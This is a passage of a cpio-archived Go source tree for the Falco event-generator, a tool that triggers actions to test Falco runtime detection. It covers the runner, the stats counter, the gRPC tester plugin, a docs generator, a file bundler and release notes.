	for n, s := range c.list {
		ac, ex := atomic.LoadUint64(&s.actual), atomic.LoadUint64(&s.expected)
		atomic.StoreUint64(&s.expected, 0)
		atomic.StoreUint64(&s.actual, 0)

		dirty = dirty || ac > ex
		if ex == 0 {
			invalid = true
			c.log.WithField("action", n).
				Warn("cannot generate events")
		}
	}

	if invalid {
		c.log.Warn("some actions may be too slow, consider to use different actions")
	}

	if dirty {
		c.log.Warnf("unexpected events received, retrying with sleep=%s", time.Duration(c.sleep).String())
	}

	if c.loop && !dirty && c.sleep > 0 {
		c.sleep = c.sleep / 2
	}
}

func (c *Counter) PreRun(ctx context.Context, log *logger.Entry, n string, f events.Action) (err error) {
	c.Lock()
	c.i++
	sleep := c.sleep
	c.Unlock()

	if sleep > 0 {
		time.Sleep(time.Duration(sleep))
	}
	return nil
}

func (c *Counter) PostRun(ctx context.Context, log *logger.Entry, n string, f events.Action, actErr error) error {
	if s, ok := c.list[n]; ok {
		atomic.AddUint64(&s.expected, 1)
	}
	return nil
}

func WithLogger(l *logger.Logger) Option {
	return func(c *Counter) error {
		c.log = l
		return nil
	}
}

func WithActions(actions map[string]events.Action) Option {
	return func(c *Counter) error {
		c.actions = make([]string, len(actions))
		i := 0
		for n := range actions {
			c.actions[i] = n
			i++
		}
		return nil
	}
}

func WithLoop(loop bool) Option {
	return func(c *Counter) error {
		c.loop = loop
		return nil
	}
}

func WithSleep(sleep time.Duration) Option {
	return func(c *Counter) error {
		c.sleep = int64(sleep)
		return nil
	}
}

func WithRoundDuration(duration time.Duration) Option {
	return func(c *Counter) error {
		c.tickD = duration
		return nil
	}
}

func WithPollingTimeout(timeout time.Duration) Option {
	return func(c *Counter) error {
		c.pTimeout = timeout
		return nil
	}
}

func WithPid(pid int) Option {
	return func(c *Counter) error {
		proc, err := procfs.NewProc(pid)
		if err != nil {
			return err
		}
		c.proc = &proc
		procStat, err := c.proc.Stat()
		if err != nil {
			return err
		}
		c.lastS = &procStat
		return nil
	}
}

func WithHumanize(humanize bool) Option {
	return func(c *Counter) error {
		c.humanize = humanize
		return nil
	}
}

func WithDryRun(dryRun bool) Option {
	return func(c *Counter) error {
		c.dryRun = dryRun
		return nil
	}
}
07070100000089000081A400000000000000000000000166F189F1000003D6000000000000000000000000000000000000003400000000falco-event-generator-0.12.0/pkg/counter/options.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package counter

// Option is a functional option for extractors.
type Option func(*Counter) error

// Options is a slice of Option.
type Options []Option

// Apply interates over Options and calls each functional option with a given Counter.
func (o Options) Apply(c *Counter) error {
	for _, f := range o {
		if err := f(c); err != nil {
			return err
		}
	}

	return nil
}
0707010000008A000081A400000000000000000000000166F189F100000A2A000000000000000000000000000000000000003200000000falco-event-generator-0.12.0/pkg/counter/stats.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package counter

import (
	"fmt"
	"strconv"
	"sync/atomic"
	"time"

	"github.com/dustin/go-humanize"
	logger "github.com/sirupsen/logrus"
)

type stats struct {
	Action   string
	Expected uint64
	Actual   uint64
	Ratio    float64
}

func (c *Counter) statsByAction(n string) *stats {
	stats := &stats{
		Action: n,
	}
	if s, ok := c.list[n]; ok {
		stats.Expected, stats.Actual = atomic.LoadUint64(&s.expected), atomic.LoadUint64(&s.actual)
	}

	if stats.Expected > 0 {
		stats.Ratio = float64(stats.Actual) / float64(stats.Expected)
	}

	return stats
}

func (c *Counter) globalStats() (stats map[string]interface{}) {
	stats = make(map[string]interface{})
	if c.proc != nil {
		delta := time.Since(c.lastT)
		s, _ := c.proc.Stat()
		stats["cpu"] = float64((s.CPUTime() - c.lastS.CPUTime()) / delta.Seconds())
		stats["res_mem"] = uint64(s.ResidentMemory())
		stats["virt_mem"] = uint64(s.VirtualMemory())

		if c.humanize {
			stats["cpu"] = strconv.FormatFloat(stats["cpu"].(float64)*100, 'f', 1, 64) + "%"
			stats["res_mem"] = humanize.Bytes(uint64(stats["res_mem"].(uint64)))
			stats["virt_mem"] = humanize.Bytes(stats["virt_mem"].(uint64))
		}

		c.lastS = &s

	}
	stats["throughput"] = float64(c.i) / c.tickD.Seconds()
	if c.humanize {
		stats["throughput"] = strconv.FormatFloat(stats["throughput"].(float64), 'f', 1, 64) + " EPS"
	}
	return
}

func (c *Counter) logStats() {
	stats := c.globalStats()
	logStatsEntry := c.log.WithFields(logger.Fields(stats))

	var lost float64
	for _, n := range c.actions {
		s := c.statsByAction(n)
		logEntry := c.log.WithField("expected", s.Expected).WithField("actual", s.Actual).WithField("ratio", s.Ratio)
		logEntry.Info(s.Action)
		lost += s.Ratio
	}

	if !c.dryRun {
		lost = 1 - lost/float64(len(c.actions)) // lost average
		if c.humanize {
			logStatsEntry = logStatsEntry.WithField("lost", fmt.Sprintf("%d%%", int(lost*100)))
		} else {
			logStatsEntry = logStatsEntry.WithField("lost", lost)
		}
	}

	logStatsEntry.Info("statistics")
}
0707010000008B000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002800000000falco-event-generator-0.12.0/pkg/runner0707010000008C000081A400000000000000000000000166F189F100000D2C000000000000000000000000000000000000003200000000falco-event-generator-0.12.0/pkg/runner/helper.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package runner

import (
	"errors"
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
	"time"

	"github.com/falcosecurity/event-generator/events"
	logger "github.com/sirupsen/logrus"
	"k8s.io/cli-runtime/pkg/resource"
)

var _ events.Helper = &helper{}

// Helper errors
var (
	ErrChildSpawn = errors.New("cannot re-spawn a child process")
)

type helper struct {
	action  string
	runner  *Runner
	log     *logger.Entry
	hasLog  bool
	builder *resource.Builder
	cleanup func()
}

func (h *helper) Log() *logger.Entry {
	// do not set hasLog (and silence info logs) if debug log is emmited
	if h.log.Level != logger.DebugLevel {
		h.hasLog = true
	}
	return h.log
}

func (h *helper) Sleep(d time.Duration) {
	h.log.Infof("sleep for %s", d) // do not set hasLog
	time.Sleep(d)
}

func (h *helper) ResourceBuilder() *resource.Builder {
	// todo(leogr): handle nil case
	return h.builder
}

func (h *helper) Cleanup(f func(), args ...interface{}) {
	oldCleanup := h.cleanup
	h.cleanup = func() {
		if oldCleanup != nil {
			defer oldCleanup()
		}
		log := h.Log()
		if len(args) > 0 {
			if l, ok := args[0].(*logger.Entry); ok {
				log = l
				args = args[1:]
			}
		}
		args = append([]interface{}{"cleanup "}, args...)
		log.Info(args...)
		f()
	}
}

func (h *helper) SpawnAs(name string, action string, args ...string) error {
	return h.spawnAs(name, action, true, args...)
}

func (h *helper) SpawnAsWithSymlink(name string, action string, args ...string) error {
	return h.spawnAs(name, action, false, args...)
}

func (h *helper) spawnAs(name string, action string, copy bool, args ...string) error {
	fullArgs := append([]string{fmt.Sprintf("^%s$", action)}, args...)
	h.Log().WithField("args", strings.Join(fullArgs, " ")).Infof("spawn as %q", name)
	if h.Spawned() {
		return ErrChildSpawn
	}

	tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-spawned-")
	if err != nil {
		return err
	}
	defer func() {
		if err := os.RemoveAll(tmpDir); err != nil {
			h.Log().WithError(err).Error("failed to remove temp directory")
		}
	}()

	name = filepath.Join(tmpDir, name)
	if copy {
		var data []byte
		if data, err = os.ReadFile(h.runner.exePath); err != nil {
			return err
		}
		if err = os.WriteFile(name, data, os.FileMode(0755)); err != nil {
			return err
		}
	} else {
		if err := os.Symlink(h.runner.exePath, name); err != nil {
			return err
		}
	}

	cmd := exec.Command(name, append(h.runner.exeArgs, fullArgs...)...)

	out := h.runner.log.Out
	cmd.Stdout = out
	cmd.Stderr = out
	if err := cmd.Run(); err != nil {
		return err
	}

	return nil
}

func (h *helper) Spawned() bool {
	return h.runner.alias != ""
}

func (h *helper) InContainer() bool {
	return h.runner.inCnt
}

func (h *helper) ExePath() string {
	return h.runner.exePath
}
0707010000008D000081A400000000000000000000000166F189F1000003DC000000000000000000000000000000000000003300000000falco-event-generator-0.12.0/pkg/runner/options.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package runner

// Option is a functional option for extractors.
type Option func(*Runner) error

// Options is a slice of Option.
type Options []Option

// Apply interates over Options and calls each functional option with a given runner.
func (o Options) Apply(runner *Runner) error {
	for _, f := range o {
		if err := f(runner); err != nil {
			return err
		}
	}

	return nil
}
0707010000008E000081A400000000000000000000000166F189F1000004D1000000000000000000000000000000000000003800000000falco-event-generator-0.12.0/pkg/runner/options_test.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package runner

import (
	"errors"
	"testing"

	"github.com/stretchr/testify/assert"
)

func withTestOptionWithError() Option {
	return func(r *Runner) error {
		return errors.New("options error")
	}
}

func TestApply(t *testing.T) {

	r := &Runner{}
	testOptionCalled := false
	withTestOption := func() Option {
		return func(r *Runner) error {
			testOptionCalled = true
			assert.NotNil(t, r)
			return nil
		}
	}

	err := Options([]Option{
		withTestOption(),
	}).Apply(r)
	assert.NoError(t, err)
	assert.True(t, testOptionCalled)

	err = Options([]Option{
		withTestOptionWithError(),
	}).Apply(r)
	assert.Error(t, err)
}
0707010000008F000081A400000000000000000000000166F189F1000003A6000000000000000000000000000000000000003200000000falco-event-generator-0.12.0/pkg/runner/plugin.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package runner

import (
	"context"

	"github.com/falcosecurity/event-generator/events"
	logger "github.com/sirupsen/logrus"
)

type Plugin interface {
	PreRun(ctx context.Context, log *logger.Entry, n string, f events.Action) error
	PostRun(ctx context.Context, log *logger.Entry, n string, f events.Action, err error) error
}
07070100000090000081A400000000000000000000000166F189F100001580000000000000000000000000000000000000003200000000falco-event-generator-0.12.0/pkg/runner/runner.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package runner

import (
	"context"
	"errors"
	"os"
	"path/filepath"
	"strings"
	"time"

	"github.com/falcosecurity/event-generator/events"
	logger "github.com/sirupsen/logrus"
	cmdutil "k8s.io/kubectl/pkg/cmd/util"
)

type Runner struct {
	log     *logger.Logger
	kf      cmdutil.Factory
	kn      string
	exePath string
	exeArgs []string
	inCnt   bool
	alias   string
	sleep   time.Duration
	loop    bool
	all     bool
	quiet   bool
	plgn    Plugin
}

func (r *Runner) logEntry(ctx context.Context) *logger.Entry {
	l := r.log.WithContext(ctx)
	if r.alias != "" {
		l = l.WithField("as", r.alias)
	}
	return l
}

func (r *Runner) trigger(ctx context.Context, n string, f events.Action) (triggered bool, cleanup func(), err error) {
	fields := logger.Fields{
		"action": n,
	}
	log := r.logEntry(ctx).WithFields(fields)

	h := &helper{
		action: n,
		runner: r,
		log:    log,
	}

	if !r.all && events.Disabled(n) {
		log.Debug("action not enabled")
		return false, nil, nil
	}

	if r.kf != nil {
		h.builder = r.kf.NewBuilder().RequireNamespace()
		if r.kn != "" {
			h.builder.NamespaceParam(r.kn).DefaultNamespace()
		}
	}

	if r.plgn != nil {
		if plgnErr := r.plgn.PreRun(ctx, log, n, f); plgnErr != nil {
			return true, h.cleanup, plgnErr
		}
	}

	if r.sleep > 0 {
		h.Sleep(r.sleep)
	}

	var actErr error
	if actErr = f(h); actErr != nil {
		var skipErr *events.ErrSkipped
		if errors.As(actErr, &skipErr) {
			log.WithField("reason", skipErr.Reason).Warn("action skipped")
		} else {
			log.WithError(actErr).Error("action error")
		}
	} else if !h.hasLog && !r.quiet {
		log.Info("action executed")
	}

	if r.plgn != nil {
		if plgnErr := r.plgn.PostRun(ctx, log, n, f, actErr); plgnErr != nil {
			return true, h.cleanup, plgnErr
		}
	}

	return true, h.cleanup, nil
}

func (r *Runner) runOnce(ctx context.Context, m map[string]events.Action) (err error, shutdown bool) {
	if len(m) == 0 {
		return errors.New("no action selected"), false
	}

	var cList []func()
	teardown := func() {
		for _, c := range cList {
			c()
		}
	}
	defer teardown()

	actionsTriggered := false
	for n, f := range m {
		triggered, cleanup, err := r.trigger(ctx, n, f)
		actionsTriggered = actionsTriggered || triggered
		if cleanup != nil {
			cList = append(cList, cleanup)
		}
		if err != nil {
			// log error and fallthrough
			r.log.WithError(err).WithField("action", n).Error("action error")
		}
		select {
		case <-ctx.Done():
			return nil, true
		default:
			continue
		}
	}

	if !actionsTriggered {
		return errors.New("none of the selected actions is enabled"), false
	}

	return nil, false
}

func (r *Runner) Run(ctx context.Context, m map[string]events.Action) (err error) {
	log := r.logEntry(ctx)
	var shutdown bool
	for err, shutdown = r.runOnce(ctx, m); r.loop && !shutdown; {
		log.Debug("restart loop")
		err, shutdown = r.runOnce(ctx, m)
	}
	if shutdown {
		log.Info("shutdown completed")
	}
	return
}

func procAlias() string {
	procPath, _ := os.Executable()
	procName := filepath.Base(procPath)
	calledAs := filepath.Base(os.Args[0])
	if procName != calledAs {
		return calledAs
	}
	return ""
}

func inContainer() bool {
	b, err := os.ReadFile("/proc/1/cmdline")
	if err != nil {
		return false
	}
	return strings.HasPrefix(string(b), os.Args[0])
}

func New(options ...Option) (*Runner, error) {
	r := &Runner{}

	if err := Options(options).Apply(r); err != nil {
		return nil, err
	}

	if r.log == nil {
		r.log = logger.New()
	}

	if r.quiet {
		r.log = &logger.Logger{
			Out:          r.log.Out,
			Hooks:        r.log.Hooks,
			Formatter:    r.log.Formatter,
			ReportCaller: r.log.ReportCaller,
			ExitFunc:     r.log.ExitFunc,
			Level:        logger.ErrorLevel,
		}
	}

	if r.exePath == "" {
		path, err := os.Executable()
		if err != nil {
			return nil, err
		}
		r.exePath = path
	}

	r.alias = procAlias()
	r.inCnt = inContainer()

	return r, nil
}

func WithLogger(l *logger.Logger) Option {
	return func(r *Runner) error {
		r.log = l
		return nil
	}
}

func WithSleep(d time.Duration) Option {
	return func(r *Runner) error {
		r.sleep = d
		return nil
	}
}

func WithLoop(loop bool) Option {
	return func(r *Runner) error {
		r.loop = loop
		return nil
	}
}

func WithKubeFactory(factory cmdutil.Factory) Option {
	return func(r *Runner) error {
		r.kf = factory
		return nil
	}
}

func WithKubeNamespace(namespace string) Option {
	return func(r *Runner) error {
		r.kn = namespace
		return nil
	}
}

func WithExecutable(path string, args ...string) Option {
	return func(r *Runner) error {
		r.exePath = path
		r.exeArgs = args
		return nil
	}
}

func WithPlugin(plugin Plugin) Option {
	return func(r *Runner) error {
		r.plgn = plugin
		return nil
	}
}

func WithAllEnabled(all bool) Option {
	return func(r *Runner) error {
		r.all = all
		return nil
	}
}

func WithQuiet(quiet bool) Option {
	return func(r *Runner) error {
		r.quiet = quiet
		return nil
	}
}
07070100000091000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002800000000falco-event-generator-0.12.0/pkg/tester07070100000092000081A400000000000000000000000166F189F1000003D2000000000000000000000000000000000000003300000000falco-event-generator-0.12.0/pkg/tester/options.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package tester

// Option is a functional option for extractors.
type Option func(*Tester) error

// Options is a slice of Option.
type Options []Option

// Apply interates over Options and calls each functional option with a given tester.
func (o Options) Apply(t *Tester) error {
	for _, f := range o {
		if err := f(t); err != nil {
			return err
		}
	}

	return nil
}
07070100000093000081A400000000000000000000000166F189F100000BE7000000000000000000000000000000000000003200000000falco-event-generator-0.12.0/pkg/tester/tester.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package tester

import (
	"context"
	"errors"
	"strings"
	"time"

	"github.com/falcosecurity/client-go/pkg/api/outputs"
	"github.com/falcosecurity/client-go/pkg/client"
	"github.com/falcosecurity/event-generator/events"
	logger "github.com/sirupsen/logrus"
)

// ErrFailed is returned when a test fails
var ErrFailed = errors.New("test failed")

const DefaultTestTimeout = time.Minute

// Tester is a plugin that tests the action outcome in a running Falco instance via the gRCP API.
type Tester struct {
	outs    outputs.ServiceClient
	timeout time.Duration
}

// New returns a new Tester instance.
func New(config *client.Config, options ...Option) (*Tester, error) {
	c, err := client.NewForConfig(context.Background(), config)
	if err != nil {
		return nil, err
	}
	outs, err := c.Outputs()
	if err != nil {
		return nil, err
	}
	t := &Tester{
		outs:    outs,
		timeout: DefaultTestTimeout,
	}
	if err := Options(options).Apply(t); err != nil {
		return nil, err
	}
	return t, nil
}

func (t *Tester) PreRun(ctx context.Context, log *logger.Entry, n string, f events.Action) (err error) {
	return nil
}

func (t *Tester) PostRun(ctx context.Context, log *logger.Entry, n string, f events.Action, actErr error) error {

	if strings.HasPrefix(n, "helper.") {
		log.Info("test skipped for helpers")
		return nil
	}

	if actErr != nil {
		var skipErr *events.ErrSkipped
		if errors.As(actErr, &skipErr) {
			return nil // test skipped
		}
		return ErrFailed
	}

	ctxWithTimeout, cancelTimeout := context.WithTimeout(ctx, t.timeout)
	defer cancelTimeout()

	testCtx, cancel := context.WithCancel(ctxWithTimeout)
	defer cancel()

	fsc, err := t.outs.Sub(testCtx)
	if err != nil {
		return err
	}

	err = client.OutputsWatch(testCtx, fsc, func(res *outputs.Response) error {
		if events.MatchRule(n, res.Rule) {
			log.WithField("rule", res.Rule).WithField("source", res.Source).Info("test passed")
			cancel()
		} else {
			log.WithField("rule", res.Rule).WithField("source", res.Source).Debug("event skipped")
		}
		return nil
	}, time.Millisecond*100)

	// "rpc error: code = Canceled desc = context canceled" is not directly mapped to context.Canceled
	if errors.Is(err, context.Canceled) || strings.Contains(err.Error(), "context canceled") {
		return nil
	}
	if err != nil {
		return err
	}
	return ErrFailed
}

func WithTestTimeout(timeout time.Duration) Option {
	return func(t *Tester) error {
		t.timeout = timeout
		return nil
	}
}
07070100000094000081A400000000000000000000000166F189F1000003B0000000000000000000000000000000000000002800000000falco-event-generator-0.12.0/release.md# Release Process

Our release process is fully automated using [CircleCI](https://app.circleci.com/pipelines/github/falcosecurity/event-generator) and [goreleaser](https://github.com/goreleaser/goreleaser) tool for artifacts.

When we release we do the following process:

1. We decide together (usually in the #falco channel in [slack](https://kubernetes.slack.com/messages/falco)) what's the next version to tag
2. A person with repository rights does the tag
3. The same person runs commands in their machine following the "Release commands" section below
4. Once the CI has done its job, the tag is live on [Github](https://github.com/falcosecurity/event-generator/releases) with the artifacts, and the container image is live on [DockerHub](https://hub.docker.com/r/falcosecurity/event-generator/tags) with proper tags

## Release commands

Tag the version

```bash
git tag -a v0.1.0-rc.0 -m "v0.1.0-rc.0"
git push origin v0.1.0-rc.0
```
07070100000095000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002200000000falco-event-generator-0.12.0/test07070100000096000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002900000000falco-event-generator-0.12.0/test/events07070100000097000081A400000000000000000000000166F189F100000415000000000000000000000000000000000000003600000000falco-event-generator-0.12.0/test/events/init_test.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package events

import (
	"testing"

	evtPkg "github.com/falcosecurity/event-generator/events"
	"github.com/stretchr/testify/assert"

	// Register collections and run initialization
	// Duplicated name or init failure will be caught here
	_ "github.com/falcosecurity/event-generator/events/k8saudit"
	_ "github.com/falcosecurity/event-generator/events/syscall"
)

func TestEventPackages(t *testing.T) {
	assert.NotEmpty(t, evtPkg.All())
}
07070100000098000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002300000000falco-event-generator-0.12.0/tools07070100000099000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002A00000000falco-event-generator-0.12.0/tools/docgen0707010000009A000081A400000000000000000000000166F189F100000A0B000000000000000000000000000000000000003400000000falco-event-generator-0.12.0/tools/docgen/docgen.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package main

import (
	"flag"
	"fmt"
	"os"
	"path"
	"strings"

	"github.com/falcosecurity/event-generator/cmd"
	logger "github.com/sirupsen/logrus"
	"github.com/spf13/cobra"
	"github.com/spf13/cobra/doc"
)

const outputDir = "docs"
const websiteTemplate = `---
title: %s
weight: %d
---

`

var (
	targetWebsite    bool
	websitePrepender = func(num int) func(filename string) string {
		total := num
		return func(filename string) string {
			num = num - 1
			title := strings.TrimPrefix(strings.TrimSuffix(strings.ReplaceAll(filename, "_", " "), ".md"), fmt.Sprintf("%s/", outputDir))
			return fmt.Sprintf(websiteTemplate, title, total-num)
		}
	}
	websiteLinker = func(filename string) string {
		if filename == "event-generator.md" {
			return "_index.md"
		}
		return filename
	}
)

// fixme(leogr): we must not expose the local home dir / temp workaround here
func fixDefaults(c *cobra.Command) {
	for _, cc := range c.Commands() {
		if f := cc.Flags().Lookup("cache-dir"); f != nil {
			f.DefValue = "$HOME/.kube/http-cache"
		}
	}
}

// docgen
func main() {
	// Get mode
	flag.BoolVar(&targetWebsite, "website", targetWebsite, "")
	flag.Parse()

	// Get root command
	evtgen := cmd.New(nil)
	fixDefaults(evtgen)
	num := len(evtgen.Commands()) + 1

	// Setup prepender hook
	prepender := func(num int) func(filename string) string {
		return func(filename string) string {
			return ""
		}
	}
	if targetWebsite {
		prepender = websitePrepender
	}

	// Setup links hook
	linker := func(filename string) string {
		return filename
	}
	if targetWebsite {
		linker = websiteLinker
	}

	// Generate markdown docs
	err := doc.GenMarkdownTreeCustom(evtgen, outputDir, prepender(num), linker)
	if err != nil {
		logger.WithError(err).Fatal("docs generation")
	}

	if targetWebsite {
		err := os.Rename(path.Join(outputDir, "event-generator.md"), path.Join(outputDir, "_index.md"))
		if err != nil {
			logger.WithError(err).Fatal("renaming main docs page")
		}
	}
}
0707010000009B000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000003000000000falco-event-generator-0.12.0/tools/file-bundler0707010000009C000081A400000000000000000000000166F189F10000077E000000000000000000000000000000000000003800000000falco-event-generator-0.12.0/tools/file-bundler/main.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package main

import (
	"fmt"
	"os"
	"path/filepath"

	"github.com/spf13/cobra"
)

const (
	goFileName     = "bundle.go"
	goFileTemplate = `package %s

var Bundle = %#v
	
`
)

func genBundle(path string) error {
	path, err := filepath.Abs(path)
	if err != nil {
		return err
	}

	outFilepath := filepath.Join(path, goFileName)
	if err := os.Remove(outFilepath); err != nil && !os.IsNotExist(err) {
		return err
	}

	packageName := filepath.Base(path)

	bundle := make(map[string][]byte)
	if err := filepath.Walk(path, func(filename string, info os.FileInfo, err error) error {
		if !info.Mode().IsRegular() {
			return nil
		}

		var errFileRead error
		if bundle[filepath.Base(filename)], errFileRead = os.ReadFile(filename); errFileRead != nil {
			return errFileRead
		}

		return nil
	}); err != nil {
		return err
	}

	return os.WriteFile(
		filepath.Join(path, goFileName),
		[]byte(fmt.Sprintf(goFileTemplate, packageName, bundle)),
		os.FileMode(0644),
	)
}

func main() {

	cmd := &cobra.Command{
		Use:   "file-bundler <directory>",
		Short: "Generate a bundle.go from <directory>'s files",

		Args: cobra.ExactArgs(1),
		RunE: func(c *cobra.Command, args []string) error {
			return genBundle(args[0])
		},
	}

	if err := cmd.Execute(); err != nil {
		fmt.Printf("error: %s\n", err)
		os.Exit(1)
	}
}
07070100000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000B00000000TRAILER!!!588 blocks
openSUSE Build Service is sponsored by